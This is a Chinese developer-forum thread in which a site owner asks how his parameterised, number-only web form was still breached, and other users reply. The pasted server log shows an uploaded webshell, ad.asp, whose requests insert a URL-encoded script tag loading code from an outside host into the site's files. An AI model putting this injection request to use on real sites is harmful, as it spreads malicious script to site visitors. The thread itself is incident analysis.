我以前一直坚信参数化可以,就像信春哥一样。这几年,我想尽一切办法防sql注入,百度上的,骇客论坛上的入侵方法我都看了,都一一防,最后还是被进去了。我已经限制到只允许输入数字0123456789者10个字符,其他的一概kill。但是在几月前,莫名的被注入一段代码。首先,我怀疑是否旁注。上传了一个自制的页面上传到服务器,基本获取了webshell,将服务器日志copy一份下来。我分析了日志发现可疑ip没有浏览过服务器上面其他网站。最后终于查到了,是红客一小组干的(名字省略)。
接着,我分析了日志,发现它们使用的url形式特殊,但是仍然是sql注入。只是注入的字符串(用了两次加密)没有见过,我试验过,这种字符串不可能通过我的“三。八”防线。但是它们的确通过了。
最后,我在红客申请了一个id,给该入侵者留言,“学习”它的高招,至今没有回音。反思:
1.参数化真的完全可信吗?
2.到底还有没有我们未知的高级入侵办法(单从web本身突破)。
3.在病毒中使用的SEH难道真的在web中存在?
4.如果3存在的话,那么.net平台的SEH机制不就形同虚设补充:听说有一种自动回发的入侵办法,只要浏览你网页,这种没有见过。高手,来来来!~~~~~!~~~~~!~~~~~!~~~~~~~

解决方案 »

  1.   

    每当sql注入的帖子总会引起一堆人在嚷嚷,当然好多人是瞎嚷嚷,比如那个小虎
      

  2.   

    参数化已经截断了超出长度的字符。输入的字符会原封不动的存到数据库。
    不会产生其它运行的SQL.
    我觉得这是很难注入的,除非你有其它漏洞。
    参数化是可以保存<script src=http://%61%2E%70%70%6D%6D%6F%6F%2E%63%6E></script>这些内容到数据库的。
    如果你不让它保存就在数据库里写一个触发器,如果包含script> 统统保存不了。
      

  3.   


    script 绝对进不去,因为只能数字进去,字符都被我切了,在参数化以前就切掉了。
    像<script src=http://%61%2E%70%70%6D%6D%6F%6F%2E%63%6E> </script>会执行,怎么办?
      

  4.   

    上个月还有copy下来的日志,现在又找不到了,我再找找》
      

  5.   

    黑客 红客都是探测漏洞获取权限进而入侵系统的高手。那些tracert之类的命令非常熟悉。
    他们有的只是使用某些工具的高手,有的对程序却是一知半解。
      

  6.   

    这是日志中的一部分:2009-11-06 02:16:38 W3SVC12 211.144.157.203 POST /main/booksave.asp - 80 - 94.142.131.18 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1;+MRA+4.3+(build+01218)) 200 0 64 0
    2009-11-06 02:18:40 W3SVC12 211.144.157.203 POST /main/booksave.asp - 80 - 195.88.32.75 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1;+MRA+4.3+(build+01218)) 200 0 64 0在这以前访问的都不是我的网站,下面突然,ad.asp就是被上传的文件:2009-11-06 02:19:50 W3SVC12 211.144.157.203 GET /Manager/ad.asp - 80 - 125.71.238.20 Mozilla/3.0+(compatible;+Indy+Library) 200 0 0 4483
    2009-11-06 02:19:50 W3SVC12 211.144.157.203 GET /Manager/ad.asp - 80 - 125.71.238.20 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+SV1;+.NET+CLR+1.1.4322;+.NET+CLR+2.0.50727) 200 0 0 4483
    2009-11-06 02:19:54 W3SVC12 211.144.157.203 POST /Manager/ad.asp - 80 - 125.71.238.20 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+SV1;+.NET+CLR+1.1.4322;+.NET+CLR+2.0.50727) 302 0 0 384
    2009-11-06 02:19:58 W3SVC12 211.144.157.203 GET /Manager/ad.asp - 80 - 125.71.238.20 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+SV1;+.NET+CLR+1.1.4322;+.NET+CLR+2.0.50727) 200 0 64 0
    2009-11-06 02:19:58 W3SVC12 211.144.157.203 GET /Manager/ad.asp Action=plgm&code=<script%20src=http://%74%25%36%39%61%6E%6A%25%36%39%6E%63%6E%2E%63%6E></script> 80 - 125.71.238.20 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+SV1;+.NET+CLR+1.1.4322;+.NET+CLR+2.0.50727) 200 0 0 4642
    2009-11-06 02:20:09 W3SVC12 211.144.157.203 POST /Manager/ad.asp Action=plgm&code=<script%20src=http://%74%25%36%39%61%6E%6A%25%36%39%6E%63%6E%2E%63%6E></script> 80 - 125.71.238.20 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+SV1;+.NET+CLR+1.1.4322;+.NET+CLR+2.0.50727) 200 0 64 0
    2009-11-06 02:20:09 W3SVC12 211.144.157.203 GET /Manager/ad.asp action=plgm&fd=E:\&code=<script%20src=http://%74%25%36%39%61%6E%6A%25%36%39%6E%63%6E%2E%63%6E></script> 80 - 125.71.238.20 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+SV1;+.NET+CLR+1.1.4322;+.NET+CLR+2.0.50727) 200 0 0 4656
    2009-11-06 02:20:13 W3SVC12 211.144.157.203 POST /Manager/ad.asp action=plgm&fd=E:\&code=<script%20src=http://%74%25%36%39%61%6E%6A%25%36%39%6E%63%6E%2E%63%6E></script> 80 - 125.71.238.20 从ip来看,不像是旁注。各位发表下自己看法